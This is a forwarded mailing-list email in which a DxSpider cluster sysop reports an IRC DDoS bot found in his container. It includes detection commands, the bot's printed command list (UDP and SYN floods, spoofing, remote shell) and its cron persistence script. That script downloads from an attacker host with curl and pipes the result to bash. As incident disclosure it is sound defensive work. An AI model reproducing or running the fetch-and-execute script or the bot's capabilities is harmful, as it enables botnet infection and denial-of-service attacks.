<div dir="ltr"><div>Dirk et all, </div><div>please have a look to email below that I received on the sysops mailing list.</div><div>I also suggest all the sysop to check if they have something like reported by Patrick.</div><div>Patrick stated that on his container only the dxspider port is open to the internet.</div><div>It's a bit concerning.</div><div><br></div><div>Meantime I will ask Patrick to join this list.</div><div><br></div><div>73</div><div><br></div><div>andrea</div><div>iz2lsc</div><div><br></div><div><div dir="ltr" class="gmail_signature" data-smartmail="gmail_signature">--></div></div><br><br><div class="gmail_quote gmail_quote_container"><div dir="ltr" class="gmail_attr">---------- Forwarded message ---------<br>From: <b class="gmail_sendername" dir="auto">Patrick Skerrett via sysops</b> <span dir="auto"><<a href="mailto:sysops@dxcluster.info">sysops@dxcluster.info</a>></span><br>Date: Sat, Sep 6, 2025 at 5:43 PM<br>Subject: [sysops] URGENT Suspicious traffic in my container - Scanbot<br>To:  <<a href="mailto:sysops@dxcluster.info">sysops@dxcluster.info</a>><br></div><br><br><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr"><div dir="ltr">I run DxSpider as a docker container on my swarm cluster. I had a ping this morning from my IDS router that there was some command & control traffic to IRC coming from the node that runs DxSpider.<div><br></div><div>In looking, I found what looks like a DDOS bot deployed on my node, as the user 'sysop' (that the DXSpider user runs under). <br></div><div><br></div><div>*************<br>Considering the DXSpider server runs in an isolated container and the suspicious files were written as the 'sysop' owner, I think I have to conclude there is a vulnerability in the DxSpider software that allowed this payload to be deployed!!</div><div>*********</div><div><br>Here is the relevant info:<br><br>Payload was written to "/var/tmp/.. / "  That is dot dot space <br><br>Obfuscated directory name to make it hard to navigate to.<br><br>The process itself is a compiled application called '-bash' <br><br>Trying to view it in a hex editor, I discovered these strings:<br><br><div>root@node3:/var/tmp/.. /bot# strings "/var/tmp/.. /bot/-bash" | grep -E "(http|tcp|connect|socket|bot|scan)" | head -10</div><div>NOTICE %s :Unable to create socket.</div><div>http://</div><div>NOTICE %s :Unable to connect to http.</div><div>NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd</div><div>[32m botnet</div><div>[36m E.G %s -h bot -n nick -i ident -r name -c #chan -k key -xu user -xp pass</div><div>[37m bot nick is required e.g</div><div>[37m bot ident is required e.g</div><div>[37m bot realname is required e.g</div><div>Not a socket<br><br><div>root@node3:/var/tmp/.. /bot# strings "/var/tmp/.. /bot/-bash" | grep -E "(PING|PONG|JOIN|PRIVMSG|MODE)" | head -10</div><div>MODE %s +xi</div><div>JOIN %s :%s</div><div>PONG %s</div><div>JOIN %s</div><div>MODE %s +o %s</div><div>PRIVMSG</div><div>PING</div><div>JOIN</div><div>DT_JOINABLE</div><div>_PRIVMSG<br><br><div>root@node3:/var/tmp/.. /bot# strings "/var/tmp/.. /bot/-bash" | grep -i "NOTICE"</div><div>NOTICE %s :Unable to comply.</div><div>NOTICE %s :GET <host> <save as></div><div>NOTICE %s :Unable to create socket.</div><div>NOTICE %s :Unable to resolve address.</div><div>NOTICE %s :Unable to connect to http.</div><div>NOTICE %s :Receiving file.</div><div>NOTICE %s :Saved as %s</div><div>NOTICE %s :Spoofs: %d.%d.%d.%d</div><div>NOTICE %s :Spoofs: %d.%d.%d.%d - %d.%d.%d.%d</div><div>NOTICE %s :Bot by anonymous</div><div>NOTICE %s :NICK <nick></div><div>NOTICE %s :Nick cannot be larger than 9 characters.</div><div>NOTICE %s :DISABLE <pass></div><div>NOTICE %s :Current status is: %s.</div><div>NOTICE %s :Already disabled.</div><div>NOTICE %s :Password too long! > 254</div><div>NOTICE %s :Disable sucessful.</div><div>NOTICE %s :ENABLE <pass></div><div>NOTICE %s :Already enabled.</div><div>NOTICE %s :Wrong password</div><div>NOTICE %s :Password correct.</div><div>NOTICE %s :Removed all spoofs</div><div>NOTICE %s :What kind of subnet address is that? Do something like: 169.40</div><div>NOTICE %s :Unable to resolve %s</div><div>NOTICE %s :UDP <target> <port> <secs></div><div>NOTICE %s :Packeting %s.</div><div>NOTICE %s :PAN <target> <port> <secs></div><div>NOTICE %s :Panning %s.</div><div>NOTICE %s :TSUNAMI <target> <secs></div><div>NOTICE %s :Tsunami heading for %s.</div><div>NOTICE %s :UNKNOWN <target> <secs></div><div>NOTICE %s :Unknowning %s.</div><div>NOTICE %s :MOVE <server></div><div>NOTICE %s :TSUNAMI <target> <secs>                          = Special packeter that wont be blocked by most firewalls</div><div>NOTICE %s :PAN <target> <port> <secs>                       = An advanced syn flooder that will kill most network drivers</div><div>NOTICE %s :UDP <target> <port> <secs>                       = A udp flooder</div><div>NOTICE %s :UNKNOWN <target> <secs>                          = Another non-spoof udp flooder</div><div>NOTICE %s :NICK <nick>                                      = Changes the nick of the client</div><div>NOTICE %s :SERVER <server>                                  = Changes servers</div><div>NOTICE %s :GETSPOOFS                                        = Gets the current spoofing</div><div>NOTICE %s :SPOOFS <subnet>                                  = Changes spoofing to a subnet</div><div>NOTICE %s :DISABLE                                          = Disables all packeting from this client</div><div>NOTICE %s :ENABLE                                           = Enables all packeting from this client</div><div>NOTICE %s :KILL                                             = Kills the client</div><div>NOTICE %s :GET <http address> <save as>                     = Downloads a file off the web and saves it onto the hd</div><div>NOTICE %s :VERSION                                          = Requests version of client</div><div>NOTICE %s :KILLALL                                          = Kills all current packeting</div><div>NOTICE %s :HELP                                             = Displays this</div><div>NOTICE %s :IRC <command>                                    = Sends this command to the server</div><div>NOTICE %s :SH <command>                                     = Executes a command</div><div>NOTICE %s :Killing pid %d.</div><div>NOTICE %s :%s<br><br><br><br><br></div><div>This is obviously bad stuff..</div><div><br><br>**** HOW TO DETECT IF THIS IS ON YOUR NODE****<br><br>As sudo:<br><div> ps -ef |grep ScanBot</div><div>sysop       1990       1  0 09:40 ?        00:00:00 ScanBot</div><div><br><div># ls -l "/var/tmp/.. /"</div><div>total 5340</div><div>-rw-r----- 1 sysop sysop   72770 Sep  6 09:39 block.lst</div><div>drwxr-xr-x 2 sysop sysop    4096 Apr  3 02:55 bot</div><div>-rwxr-xr-x 1 sysop sysop     855 Feb 12  2023 clear</div><div>-rwxr-xr-x 1 sysop sysop 3272064 Oct 12  2023 curl</div><div>drwxr-xr-x 2 sysop sysop    4096 Sep  6 09:31 pass_files</div><div>-rwxr-xr-x 1 sysop sysop 2094872 Jul 13  2024 rm</div><div>-rwxr-xr-x 1 sysop sysop     499 Sep  6 09:29 scanbot</div><div>-rw-r--r-- 1 sysop sysop       0 Sep  6 10:35 scanbot.lst</div><div>drwxr-xr-x 2 sysop sysop    4096 Dec  7  2023 screen</div></div><div><br></div><div>It created a crontab entry for the sysop user:<br> /var/spool/cron/crontabs/sysop </div><div><div>root@node3:/var/tmp# cat /var/spool/cron/crontabs/sysop</div><div># DO NOT EDIT THIS FILE - edit the master and reinstall.</div><div># (- installed on Sat Sep  6 09:29:49 2025)</div><div># (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)</div><div>* * * * * "/var/tmp/.. "/scanbot<br><br>runs every minute and tries to re-download itself:<br><br><div>#!/bin/bash</div><div><br></div><div>cd "/var/tmp/.. "</div><div>shopt -s expand_aliases</div><div>alias curl="./curl"</div><div>type="randomscan"</div><div>host="<a href="http://cc.systemctl.cc" target="_blank">cc.systemctl.cc</a>"</div><div>api="scanbot.sh"</div><div>brute_type="spirit"</div><div>pubnick="<a href="mailto:sysop@98.46.184.64" target="_blank">sysop@98.46.184.64</a>"</div><div>privnick="<a href="mailto:sysop@98.46.143.4" target="_blank">sysop@98.46.143.4</a>"</div><div>scanbot()</div><div>{</div><div>    url="$1"</div><div>    if [ ! -z "$url" ]; then</div><div>        url="url = \"$url\""</div><div>        curl -K - << EOF</div><div>        ipv4</div><div>        fail</div><div>        silent</div><div>        connect-timeout = 60</div><div>        max-time = 120</div><div>        retry = 2</div><div>        $url</div><div>EOF</div><div>        sync</div><div>    fi</div><div>}</div><div>scanbot $host/$api?type=$type\&brute_type=$brute_type\&pubnick=$pubnick\&privnick=$privnick | bash<br><br><br><br></div><br><br></div><br></div><div><br></div><div>************<br>Please check to see if anyone is running this process, if so, we may have a vulnerability that would allow the DXSpider cluster to become a DDOS C&C vector!!!<br>********<br><br><br>
</div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div>